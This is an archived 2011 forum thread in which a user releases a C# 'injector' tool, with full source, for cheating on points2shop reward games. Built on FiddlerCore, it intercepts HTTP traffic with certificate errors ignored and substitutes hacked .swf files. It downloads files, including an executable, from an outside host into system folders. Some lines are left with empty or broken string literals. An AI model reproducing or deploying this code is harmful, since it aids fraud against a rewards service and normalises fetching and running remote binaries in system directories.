FileForums

FileForums (https://fileforums.com/index.php)
-   Game Coders (https://fileforums.com/forumdisplay.php?f=36)
-   -   [Release] Cellbot Injector 1.1 (Really Neat!) (https://fileforums.com/showthread.php?t=91898)

zeroc0der 05-09-2011 15:21

[Release] Cellbot Injector 1.1 (Really Neat!)
 
1 Attachment(s)
Youtube Video:
Code:

/watch?v=Udn0cnX9TxU
This Injector was originally created to hack 2 points2shop flash games the racing game and the target game.

i then added the ability to inject your own custom hacked .swf files as seen in the video which demonstrates all the functions.

At its core , its a HTTP autoresponder built on the fiddlercore.dll, i am including the source code aswell.
Its pretty dirty coding but it was when i was just learning.

Code:

using System;
using Fiddler;
using System.Net;
using System.IO;
using System.Threading;


namespace Cellbot
{
    class Program{
 
          public static void WriteHalt(string s)
        {
            ConsoleColor oldColor = Console.ForegroundColor;
            Console.ForegroundColor = ConsoleColor.Red;
            Console.WriteLine(s);
            Console.ForegroundColor = oldColor;
        }
          public static void WriteNormal(string s)
          {
              ConsoleColor oldColor = Console.ForegroundColor;
              Console.ForegroundColor = ConsoleColor.Green;
              Console.WriteLine(s);
              Console.ForegroundColor = oldColor;
          }
   
          public static void WriteScan(string s)
          {
              ConsoleColor oldColor = Console.ForegroundColor;
              Console.ForegroundColor = ConsoleColor.Red;
              Console.WriteLine(s);
              Console.ForegroundColor = oldColor;
          }

          public static void WriteIntro(string s)
          {
              ConsoleColor oldColor = Console.ForegroundColor;
              Console.ForegroundColor = ConsoleColor.Magenta;
              Console.WriteLine(s);
              Console.ForegroundColor = oldColor;
          }
          static void Main(string[] args)
        {
            #region AttachEventListeners
   
       

         

            Console.CancelKeyPress += new ConsoleCancelEventHandler(Console_CancelKeyPress);
            #endregion AttachEventListeners
         
            Console.Title = "Cellbot Injector A1.1 by nosnipe";
            WriteIntro("          CBI A1.1 by nosnipe (1=P2S Racing 2=P2S Target 3=Custom Swf)");
            Console.Write(">");
            ConsoleKeyInfo cki = Console.ReadKey();
            Console.WriteLine();
            switch (cki.KeyChar)
            {
                case '1':
            WebClient client = new WebClient();
            WriteNormal(" Grabbing Files..");
            client.DownloadFile("http://pstream.pcriot.com/Edits/racing_v2.2.swf", "C:/Windows/System32/racing_v2.2.swf");
            Thread.Sleep(4000);
            Console.Clear();
            WriteNormal(" Successfully Streamed to client from VoxelServices.com");
            Thread.Sleep(3000);
            Console.Clear();

              Fiddler.FiddlerApplication.BeforeRequest += delegate(Fiddler.Session oS) {
                WriteScan(" Scanning");
              oS.bBufferResponse = true;
            };
              Fiddler.FiddlerApplication.BeforeRequest += delegate(Fiddler.Session oS)
              {
                  if (oS.uriContains("racing_v2.2.swf"))
                  {

                      oS.utilCreateResponseAndBypassServer();
                      oS.oFlags["x-replywithfile"] = "C:/Windows/System32/racing_v2.2.swf"; Fiddler.FiddlerApplication.Shutdown();
                      WriteNormal(" Injection Succussful");
                      Console.Beep();
                  }
              };
            break;
       
            case '2':
            WebClient client2 = new WebClient();
            WriteNormal(" Grabbing Files..");
            client2.DownloadFile("http://pstream.pcriot.com/Edits/shootinggallery_v5.2.swf", "C:/Windows/System32/shootinggallery_v5.2.swf");
            client2.DownloadFile("http://pstream.pcriot.com/Edits/makecerts.exe", "C:/makecerts.exe");
            Thread.Sleep(4000);
            Console.Clear();
            WriteNormal(" Successfully Streamed to client from VoxelServices.com");
            Thread.Sleep(3000);
            Console.Clear();
            Fiddler.FiddlerApplication.BeforeRequest += delegate(Fiddler.Session oS)
            {
                WriteScan(" Scanning");
                oS.bBufferResponse = true;
            };

            Fiddler.FiddlerApplication.BeforeRequest += delegate(Fiddler.Session oS)
            {
                if (oS.uriContains("shootinggallery_v5.2.swf"))
                {
                    oS.utilCreateResponseAndBypassServer();
                    oS.oFlags["x-replywithfile"] = "C:/Windows/System32/shootinggallery_v5.2.swf"; Fiddler.FiddlerApplication.Shutdown();
                    WriteNormal(" Injection Succussful");
                    System.Diagnostics.Process.Start(");
                    Console.Beep();
                }
            };
            break;
         
            case '3':
            Console.Clear();
            WriteNormal(" Search:");
            Console.Write(">");
            string Search = Console.ReadLine();
            WriteNormal(" Replace:");
            Console.Write(">");
            string Replace = Console.ReadLine();
         

            Fiddler.FiddlerApplication.BeforeRequest += delegate(Fiddler.Session oS)
            {
                WriteScan(" Scanning");
                oS.bBufferResponse = true;
            };
            Fiddler.FiddlerApplication.BeforeRequest += delegate(Fiddler.Session oS)
            {
                if (oS.uriContains(Search))
                {

                    oS.utilCreateResponseAndBypassServer();
                    oS.oFlags["x-replywithfile"] = Replace; Fiddler.FiddlerApplication.Shutdown();
                    WriteNormal(" Injection Succussful");
                    Console.Beep();
                }
            };
            break;
}
            Fiddler.CONFIG.IgnoreServerCertErrors = true;
            Fiddler.FiddlerApplication.Startup(49211, true, true);
         
            Object forever = new Object();
            lock (forever)
            {
                System.Threading.Monitor.Wait(forever);
            }
        }

        static void Console_CancelKeyPress(object sender, ConsoleCancelEventArgs e)
        {
            Console.Clear();
            WriteHalt(" Shutting Down..");
            File.Delete("");
            File.Delete("");
            File.Delete("");
            Fiddler.FiddlerApplication.Shutdown();
            System.Threading.Thread.Sleep(750);
        }
    }
}


greasyape 30-10-2011 04:50

Pretty sweet, but how about the proxy settings? Think I get stuck there.


All times are GMT -7. The time now is 01:16.

Powered by vBulletin® Version 3.8.11
Copyright ©2000 - 2022, vBulletin Solutions Inc.
Copyright 2000-2020, FileForums @ https://fileforums.com